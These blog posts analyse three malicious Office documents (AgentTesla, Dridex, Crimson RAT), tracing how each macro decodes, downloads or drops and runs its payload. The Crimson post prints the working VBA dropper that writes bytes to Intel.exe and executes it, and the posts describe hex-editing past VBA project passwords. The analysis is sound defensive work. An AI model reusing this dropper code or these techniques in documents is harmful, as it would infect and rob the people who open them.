AgentTesla (01.24.2020) – Document Analysis

We will be working on this document here: This one is interesting because it was an attached .xlsx spreadsheet. It spawns powershell, which in turn spawns csc.exe. This downloads the executable.

We’ll be coming across a few decoding functions throughout this blog. I created powershell and python versions of them so you can decode them yourself. They will be found at the bottom of this post.

Yanking out the macros, we see that there is only one. You’ll notice that it isn’t obfuscated, but it does contain a lot of white space. Upon cleaning it up, we see that things make more sense.

Embedded macro

Looking at this macro, we see a couple of things.

Line 11: Workbook_Open()
Line 21: Contains a reference to Cell 136, 8 (We should look here)
Line 25: Shell command on variable bedeswomen.
Line 31: Converts an ANSI character code to a character, stores it in variable bedeswomen.
Line 35: Contains a reference to Cell 135, 8 (We should look here)

So it seems that information in certain cells of the spreadsheet are converted to something else and executed. What gets created? A powershell string to execute!

Powershell spawned from excel.exe

Once again, we see a long string of information getting decoded. A few of the lines are explained below.

Line 2: The decoding function
Line 9: Takes characters two at a time and converts them to bytes.
Line 10: XORs the bytes from line 9 against the key(?) in line 5.
Line 14: The line being decoded (it is 3444 characters long)

The decoded output is below. I also cleaned it up and highlighted the pertinent parts.

csc.exe spawned from Powershell.exe
Lines 14, 19, 35, and 36: Long strings to be decoded.
Line 35: Download file location C:\Users\[user]\AppData\Roaming\f3ad7.exe
Line 36: Download file.
Line 38: Execute initial download.
Line 41: Decoding function.

Let’s look at that decoding function a little more carefully:


This decoding function should look familiar to the decoding function used in the powershell string above.

Line 47: Take the characters in the string two at a time, convert them to bytes.
Line 48: XOR the bytes from line 47 against the key(?) in line 43.
Line 50: Return the output.

And to what does it decode?  http://www%5B.%5Dclassicpalace%5B.%5Dae/engine/Mymet%5B.%5Dexe

Let’s look at the entire process to see what happens next.


We can see that Excel.exe calls up powershell.exe which then starts csc.exe. This in turn downloads Mymet.exe which gets renamed to f3ad7.exe.


Once f3ad7.exe executes, it steals personal data, changes the autorun registry, and then sends data outbound via SMTP.


Python and Powershell Decoding functions

Powershell decoding function. Just copy and paste encoded string at the top.

$string = "[paste string here]"
$key = "gf17c9b"
$decoded = ""
For ($i = 0; $i -lt $string.Length; $i+=2)
     $var_bytes = [Convert]::ToInt32($string.Substring($i,2), 16)
     $decoded += [char]($var_bytes -bxor [byte]($key[($i/2) % $key.Length]))

Python version. Again, just copy the string to decode at the top.

string = "[paste string here]"
decoded = ""
i = 0
while i < len(string):
     key = "gf17c9b"
     var_bytes = int(string[i:i+2],16)
     decoded += chr(var_bytes ^ (ord(key[(i/2) % len(key)])))
     i += 2
print decoded

Thanks for reading!


Dridex (2020-01-15) – Malicious Document Analysis

This document is… interesting, to say the least. Not only does it drop numerous files, but we also get to learn various facts about supermodels from the 1990’s!

I’m not joking. Onto the analysis.

Document Prep

First things first, we see from the original email that the document itself has a password of 258. That itself is no big deal. When we open the document, we’ll just be prompted for the password and can get past that easily enough. We should make sure that we remove the password. Otherwise, we will be unable to extract the macros.

I’ll also jump ahead for a moment and say that the macros in the document are password protected. So feel free to edit the vbaProject.bin in a hex editor at this time. See the blog post here for how to do that.

Macro Analysis

Upon initial look at the macros, we can see that one of them is significantly larger than the others.dridex04.png

Looking at macro modNormalTheme, we can see that there is a massive amount of junk code. Here is one example:dridex05.png

But starting with Sub autoopen(), we can see some other things start to happen:


On line 4423, we can see that a new folder called Colorfonts32 gets created on the C:\ and a number of files get created there. Of note, we notice that file B4D9D02119.cmd is significantly larger than the others.


Inspecting that file shows us that buried amongst the junk code, we a file named visitcard.vbs tossed into a variable named Robocar. Throughout the rest of this file, various commands get placed in there via the echo command.



Buried further in that file, we see a wscript command calling up the above .vbs file, a URL that downloads putty.bin, writes it to C:\Colorfonts32, renames it secpi15.exe, and then starts it.



Upon analysis from, the downloaded file is identified as dridex.

Thanks for reading!

Wait, I though there would be supermodels!

When executing the macro, we see a function named TestProgressBar. That function calls up a form named ElganteSample which contains a picture like so:


After ‘Enable Content’ is clicked, the above picture will pop up and various captions will be displayed. Captions such as…


And why is that in here? I haven’t a clue.

Thanks again!

Crimson (01.06.2020) – Malicious Document

I was a bit surprised while investigating this document the other day. It has been a while since I’ve seen a malicious document where the executable is dropped directly from the document and executed as a child process of it. This also means that if the executable was dropped directly from the document, it is buried somewhere and we should try to find it. identifies the dropped executable as Crimson, a RAT designed to exfiltrate a variety of data. It was used in 2016 against Indian diplomatic and military resources (Proofpoint) but has also popped up as recently as August 2019. This blog post from Proofpoint shows quite a few similarities between my specimen and theirs.

The Macro

First things first, let’s extract the macros (I used OfficeMalScanner). They were not obfuscated at all. Everything they would do was right out in the open. Here is the main one that does all of the heavy lifting. I’ll be splitting it up into three parts.

Public Sub Con()
	Dim BITy() As Byte
	Dim str() As String
	Dim Path As String
	Path = Environ$("USERPROFILE") & "\Intel.exe"
	str = Split(UserForm1.TextBox1.Text, "!")
	Dim Index As Double
	Index = 0
	For Each arr In str
		ReDim Preserve BITy(Index)
		BITy(Index) = CByte(arr)
		Index = Index + 1
		Next arr
		Create BITy
End Sub

We can see the path where the executable will drop and what it will be named, although that variable doesn’t seem to be used in this function. Even more interesting is the next line with variable str. It is taking the text in UserForm1.TextBox1 and splitting it on the exclamation point. The for each loop takes those characters and converts them to bytes numbered 0 – 255 (CByte) and tosses them into BITy.

Public Sub Create(bit() As Byte)
	Dim Path1 As String
	Path1 = Environ$("USERPROFILE") & "\Intel.exe"
	Open Path1 For Binary Access Write As #1
	Put #1, , bit
	Close 1
End Sub

Function Create is then fed the bytes from BITy. We can see the Path1 variable is similar to the one above, but in this case it is actually getting used. Path1 is opened as write access, the information is put there, and then closed. Function Run is then called.

Public Sub Run()
	Dim RunPath As Variant
	RunPath = Environ$("USERPROFILE") & "\Intel.exe"
	Dim RetVal
	RetVal = Shell(RunPath, 1)
End Sub

Function Run will actually… well, run the binary we dropped in RunPath. Good ol’ Shell sticks out like a sore thumb.


We’ve seen other malicious documents make use of UserForms and text boxes before. In those cases, some long base-64 encoded strings were there and pieced together in the macro before they were executed by Powershell. Based on the macro analysis above, I don’t think that is going to be case here since that text is going to be dropped directly to disk and then executed. Let’s look and see what is in UserForm1.

Remember, to get in there, we’ll need to open the document. This means we’ll be prompted to ‘Enable Content’. At this point we can do one of two things.

  1. We can ‘Enable Content’ to trigger the macros and do some behavioral analysis to see parent/child process behaviors and see what files drop. After it has been opened, we can then press Alt+F11 to open the Microsoft VBA editor and investigate the macros. OR
  2. Use the vbashift trick as explained by @decalage2. While keeping the shift key on your keyboard pressed, open the document and also enable content. The shift key will disable automatic macro triggers. You can then press Alt+F11 to open the Microsoft VBA editor and examine the macros that way.

I chose option two and it worked like a charm… but the project is password protected.


This means we need to get rid of that password. Using the technique described here, I edited the file in a hex editor to bypass the project password, re-opened the document, ignored the errors, un-protected the project, saved the changes, and re-opened the document. Here are the results:


UserForm1 contains a string of characters interspersed with exclamation points. This makes sense considering the macro we investigated above (convenient, right?). That text gets split by the exclamation points, each is gathered into a variable, the variable gets dropped as a binary, and that dropped binary gets executed. In fact, if you take the first two numbers shown in UserForm1 (77 and 90), and convert them to ASCII, you’ll see they are the characters MZ.

Where does the dropped executable land?


As expected, Intel.exe gets dropped at C:\Users\[user account]\Intel.exe. It is also a child process of WINWORD.EXE.


What exactly does Intel.exe do? Looking at the output, we can see traffic headed Following the TCP stream in Wireshark, commands (in blue) are sent from and information (in red) is returned.


Thanks for reading!